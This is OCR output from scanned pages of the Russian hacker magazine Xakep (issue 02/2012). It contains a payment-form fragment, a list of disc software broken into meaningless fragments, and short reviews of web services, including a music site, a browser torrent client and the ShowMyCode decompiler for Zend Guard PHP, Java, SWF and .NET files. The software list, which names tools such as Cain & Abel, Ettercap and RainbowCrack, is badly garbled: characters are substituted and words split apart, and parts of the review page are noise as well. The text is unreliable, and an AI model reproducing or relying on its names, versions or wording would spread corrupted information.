
Плательщик

Адрес (с индексом)

Назначение платежа Сумма

Оплата журнала «. _ _ _ ____ .»

С 2012г.

Ф.И.О.

Подпись плательщика

Page 144: Xakep 02_2012

»WIN

DO

WS

Тixati 1

.74

5wee

thom

e3d

3.3

The

Mol

e 0.

2.6

>Dev

elop

:men

t W

ebR

eade

r 0.

8.80

bet

a 51

nfig

0.6

3.03

Х55ег у1.6Ь

Adv

entu

re G

ame

5tud

io 3

.2.1

W

LAN

O~ti

mize

r 0.

21

Veu

sz 1

.14

XssS

cann

er 1

.1 B

ateh

Com

~ile

r 1.

0 Уооnо de

skto

~ 1.

8.16

Bi

nSco

p:e

8ina

[Y Ana

l~ze

r 0.

0.1

>Dеу

е1

>Seг

ver

dotP

eek

1.0

>Sec

urit}

: B

luef

ish 2

.2.0

A~

aehe

2.2

.21

Ex~e

г! O

ebug

ger

3.2

Aet

ivit1

Mon

itor

1.05

B

uild

bot 0

.8.5

A

ster

isk

10.0

.0

FMOO

Ех

4.38

.05

Arti

lle!)

' 0.2

C

odel

ite 3

.0.0

.504

1 Bi

nd 9.8

.1-~

1 Jo

eBlo

gs 1

.0

Auto~s1 3

.0.0

Ь2

Eige

n 3.

0.4

~

Min

iFuz

z 1.

5.5.

0 Ca

in &

Abe

l 4.

9.43

Er

ie 5

.1.7

Ohe~ 4.2

.3-~

1 NV

IDIA

Par

alle

l N

sight

2.1

Com

odo

Cle

anin

g Es

sent

ials

1.6

Fa

stut

il 6.

4.2

Ооуе

ео!

2.0.

16

NVID

IA P

erfK

it 6.

70

Eeho

Mira

ge 1

.2

Get

id31

.9.2

Fr

eera

dius

2.1

.12

Pe5t

udio

3.5

4 Et

teгc

a~ 0

.7.4

G

ra10

.8

Ligh

tt~d

1.4

.30

auie

kPH

P 1.

14.0

H

eim

dal

Idea

ie 1

1 M

1sgI

5.5.

19

auiekShar~ 2

.0

Iden

tity

Find

er

Laz

arus

0.9

.30.

2 N

sd 3

.2.9

Resouгce

.NET

3.0

Im

mun

ity O

ebug

ger

1.84

Li

bgre

neod

e 3.

2.0

O~enlda~ 2

.4.2

8 5a

L Pro

m~t

5.2

IDCT

L Fu

zzer

1.3

Li

butil

le!)'

1.7

.0

O~eny~n

2.2.

2 X

Oeb

ug 2

.1.2

M

1sgl

Pass

wor

dAud

itor

1.0

Llvm

3.0

Po

stfix

2.8

.7

Net

25ha

rePw

n 1.

Odbe

~~ 1

.6

Post

gres

gl 9

.1.2

>M

isc

NTO

saL

Inva

der

Pant

heio

s 1.

0.1Ь

213

Pure

-ft~

d 1.

0.35

7F

iles

0.3

05~1

1.10

.4

Souг

cesg

uare

231

2201

1 5a

mba

3.6

.1

85ta

rt 3

.0

Rad

are2

0.9

Te

~df

5.9.

141

5end

mai

I8.1

4.5

beW

ebC

am 2

.1.0

.3

Rai

nbow

Cra

ek 1

.5

Т ex

Hok

eniz

er 0

.4.5

5n

ог!

2.9.

2 C

ath1

2.2

8.3

5cгa~1 0

.14

Ulti

mate

~~ 4

193

5glit

e 3.

7.9

Cli~board 5ауег

55L1

ze 0

.3

5gui

d 3.

1.18

C

oolb

arz

0.1.

6.7

The

Mol

e 0.

2.6

>Gam

es

~3.3

oiet

atio

n Рг

о 0.

91

Т oo

lwiz

Саг

е 1.

0 E

tern

alla

nds

1.9.

2 Vs

ft~d

2.3

.5

Exee

utor

0.9

9.11

Wavse~ 1

.1.0

G

igal

oman

ia 0

.21

Foeu

sWri

ter

1.3.

5.1

WeB

aCoo

0.2

Pi

onee

r al~ha17

,51s

lem

gB

urne

r Viгtual Dг

ive

3.1

Win

API

Ove

rride

32

5.5.

3 B

oehs

2.5

G

izm

o Т oo

lbar

2.5

.0

Х55ег у1.

>Net

C

emos

she

11.1

2.06

N~~00e5hare 0

.1 Adeh~~ 2

.8.0

O

ebre

ate

0.7.

7 50

da зо P

oF R

eade

r >S

yste

m

Ahe~d

0.53

К;;;Q(jJ

Tile

s 0.

98

AllD

ff 3.

4 B

abeI

1.3.

0 Li

nux

3.1.

6 W

indo

w51

ider

0.3

B

lue5

taek

s Bi

tflu

1.39

N

xlog

1.2

.494

X

Wid

get 1

.2.3

Cli~boardie

1.10

C

law

smai

l 3.

8.0

Pam

m

ount

2.1

3 07

4.9.

6 oe

luge

1.3

.3

Powe

rto~

1.8

>M

ultim

edia

oi

skA

larm

1.2

.437

0 E

mes

ene

2.11

.11

aem

u 1.

0 A

nten

na 1

.5.0

oi

s~la

1Fusio

n 3.

4.0

Get

mai

l 4.

24.0

R

pmer

izor

2.6

A

rtw

eave

r Fr

ee 3

.0.1

Gow

0.5

.0

Gnu

net

0.9.

0 Rt

irg 2

0111

007

Avi

dem

ux 2

.5.5

iC

aгe

Dat

a R

ecov

e[1

Prof

essi

onal

Ji

tsi 1.

5ali

2.4.

11

Cam

5tud

io 2

.0

iPad

ian

Mov

grab

1.1

.5

T~e-Ikm

Gгее

nFог

се-Р

lа1е

г 1.

11

05FM

ount

1.5

.100

8 M

ulk

0.6.

0 X

I86-

vide

o-at

i 6.1

4.3

Jing

Pa

teh М1 РС

2.0.

6.3

O~eг

a 11

.60

Zsh

4.3.

14

МооО Aud

ioT1

~eCo

nver

ter

1.24

RMPre~U5B 2

.1.6

30

Pidg

in 2

.10.

1 Ne~

llex

5сгееn

Ree

orde

r 1.

4.0.

4 5aBaeku~ 0

.9.3

.3

Qua

mae

hi 0

.6.0

>X

·Dis

tr

Phot

oLik

r 1.

2 Т ra

ek F

olde

r Cha

nges

1.1

auba

n 0.

2.2

Linu

x M

int 1

2 Sc

reen

pres

so 1

.3.0

W

in7A

udio

Switc

her

5urr

ogal

ier 1.

9.1Ь

Pl

sens

e 2.

0.1

5ubI

ight

3.0

.0

Win

Arc

hive

r Vi

rtual

Oriv

e 2.

7 X~

lieo

0.7

.0

Trou

t 1.0

.6

»МАС

UM

Pla1

er 0

.98

»UN

IX

>Secuгity

Arg

oUM

L 0.

34

Vide

05~i

n 2.

0 >D

eskt

op

And

rogu

ard

1.0-

гс1

CoRo

0.5

.5

Virt

ualD

ub 1

.10.1

B

luet

ile 0

.6

And

roid

Web

Con

tent

Res

olve

r oe

skto

~5he

lves

1.4

.2

YA

CRea

der 0

.4.0

B

ombo

nodv

d 1.

2.0

Ang!

)'i~

3.0

Ь6

Oiff

Mer

ge 3

.3.2

C

alib

re 0

.8.3

1 A

rtille

!)' 0

.2 AI~

ha

du~e

Guru

МЕ 6

.2.0

>N

et

Cin

epai

nt 1

.0

Auto~s1 З.

О.ОЬ

2 Ea

s1Fi

nd 4

.8.1

Co

mod

o U

nite

3.0

.2.0

O

arkt

abIe

0.9

.3

Bok

ken

1.5

Folx

2.0

.102

8 Ft

~Use

2.0

D

upeg

uru

me

6.2.

0 C

5RF5

eann

er 1

.0

keka

0.1

.4.3

Im

age

Piek

er 1

.0.0

Ff

m~eg

0.9

EL

Fkie

kers

3.0

Li

on 5ec

гets

1.2

.0

Ins1

ne 0

.9.5

G

nom

esub

title

s 1.

2 Etteгca~ 0

.7.4

M

ini уМае 3

.2.3

Jo

ukuu

Lite

1.3

.3.3

Li

ves

1.4.

9 Fw

snor

t 1.

6.1

Mixx

x 1.

9.2

Kum

051n

e 1.

1.1

Nig

htin

gale

1.8

.1

Gnu

tls 3

.0.9

5h

arel

t 1.

0 M

ikog

o 4.

0 Pd

fmas

her

0.6.

3 Kee~ass 2

.17

Soun

dclo

ud D

ownl

oade

r 2.

0 M

ultiM

i 0.9

.29

Qtra

etor

0.5

.2

Mod

5eeu

ri!):

2.6.3-гс1

Task

Coa

eh 1

.3.3

R

emot

e D

eskt

op M

anag

er

ах11

gra

b 0.

2.6

O~endnssee 1

.3.4

Ti

me

Out

1.6

.3

Rem

ote

Pota

to 1

.0.6

R

azor

-gt

0.4

Rad

are2

0.9

Уо

х 0.

3 be

ta 1

Th

e E-

Mail

Clie

nt 1

.03

Smill

aenl

arqe

r 0.

9.0

5tun

nel 4

.50

XnV

iewM

P 0.

39

Page 145: Xakep 02_2012

0'-_

- 11 ,--____ ....... II ___ •• ~--~ _'_010:-''Il001_' ___ '_'_ ... _, __ _ .... __ .. _ ........... , ___ ,.-....... __ n"I,._ ... _"' ... _""' ..... '''' .... _111')_' __ •• -

.. ,-'-""' .... ..,'I,~..... ~ .'~

Аксессуары

ДЛЯ

МУЗblка бесплатно

а ._-..... --а'---'-

BitLet.org ...........

---... .i'J (J

Сору t he torrent metafile URL and рге" Download torrent

'3- 11Ie I" IЩ: "'"-У . s.uon 5· IКur.lJ·~,Ru] ~ с1.php?I.]1ЗI60)

ВitТоггепt-клиентонлайн

ShOWMyCode8

'" s • '" ~ .

5how Му Code Is а Free Onllne Decoder I Decompller

For Zend Guard encoded php, JAVA CI15', Adobe Aash swf, .NEТ (OoINet) and QR barcodes.

00 you haY8: • РНР IiJe encoded VМh Zend Guard? • Ora Jaoia cla.s? • or дdobe l ash swn • Or ..... n .NEТ appflCation?

УниверсаЛЬНbI й декомп илятор

1 J;>y.

Оесode and get 50urce of рпр fdes encoded wrth Zend Guard Тhis PfOCISS alS(l cгlled dezlf'lding and lh, programcalleddezender(de.zander), 50, dezend рЬр liles and gellhe source code!

Decomptle jWOJ CLASS liles аnd ';мt SOUICI Сodе IП аеха ReconitNCt Ihe Onginal SOUfce code kom thecompiledbinary

Stce lll wl'bF""'" Slpl"wltbGoacle

Work for the best hacker-friendly companies

Dropbox tЩbtW Justln.tv O mem,ql Scribd.

~ ADDfPAR ~p facebook ~WeebIY DISGUS

Онлайн-олимпиада для программистов

ХАКЕР 02/157/2012

tjeM· z-music.org Пятнадцать треков в день - ровно ст·олько позволяет прослушать без приобрете­ния премиального аккаунта когда-то бесплатный prostopleer.com. Z-music - зто его

полный аналог, который пока находится в с тадии становления и никаких денежек

не берет. Поэтому ты можешь без каких-либо ограничений искать музыку, слушать ее

онлайн и загружать себе на диск. Источником музыки , как и в случае с prostopleer. com, являются социальные сети, куда пользователи пока без всякого зазрения совести терабайтами заливают треки. Z-music агрегирует песни, которые находятся в ротации популярных радиостанций, и позволяет удобно прослушивать треки из эфира, скажем ,

радио Maximum.

.:1,,'1' bit let.org Полноценный торрент-клиент, работающий в браузере. Он используется точно так же, как и любая десктопная программа. Выбери tоггепt-файл на диске или укажи URL файла , задай место для сохранения данных и наблюдай за неторопливой загрузкой.

Код BitLet полностью написан на Java, поэтому для его работы в браузере должен быть установлен плагин Java УМ. Скорость загрузки, однако, очень непредсказуема и ино­гда оставляет желать лучшего. В этом случае можно попробовать другой достойный

онлайн-клиент для сети ВitТоггепt - torrific alpha Iwww.torrific.coml. Правда, бес плат­ный аккаунт позволяет загрузить всего несколько гигабайт данных.

SHOWMYCODE www.showmycode.com Как декомпилировать СLАSS-файлы , чтобы достать исходный код из Jаvа-бинарника?

Как получить оригинальные РНР-файлы, которые были пропущены через криптор

Zепd Guard? Как вытащить АсtiопSсгiрt-код из флешового swf-файла? С помощью чего декомпилировать .NЕТ-приложение и иэвлечь его сорцы на С#, Visual Basic .NET, J#, Visual С++ .NET? На все эти вопросы можно дать один ответ- попробовать онлайн­

сервис ShowMyCode. По сути, это обертка для Java Decompiler, SWF Decompiler, Dis# и други х узкоспециализированны х stапd-аlопе-приложений, которые можно было бы

использовать в этих случаях . В качестве бонуса ShowMyCode предлагает анализатор QR-KOAOB.

INTERVIEW STREET www. iпtегv iеwstгееt . соm

Сборник любопытных задачек для программистов с автоматической системой про­

верки решения. Предложив решение на одном из 11 языков IС++, Python, РНР, Java и т. A.I, можно легко попасть на работу в Силиконовую долину. Дело в том, что Interview Street сотрудничает с крупнейшими IТ-компаниями [например, с Facebook и Amazonl, подгоняя им наиболее талантливых программистов. Это такой бизнес. Interview Street включает всех программистов, решающих задачки, в большую базу и получает $10000 за каждого принятого на работу. Благодаря такому подходу начинающая индийская

компания уже неплохо зарабатывает.

Page 146: Xakep 02_2012

.,,\

@lill Lang uage ?::: "" English J

Page 147: Xakep 02_2012
Page 148: Xakep 02_2012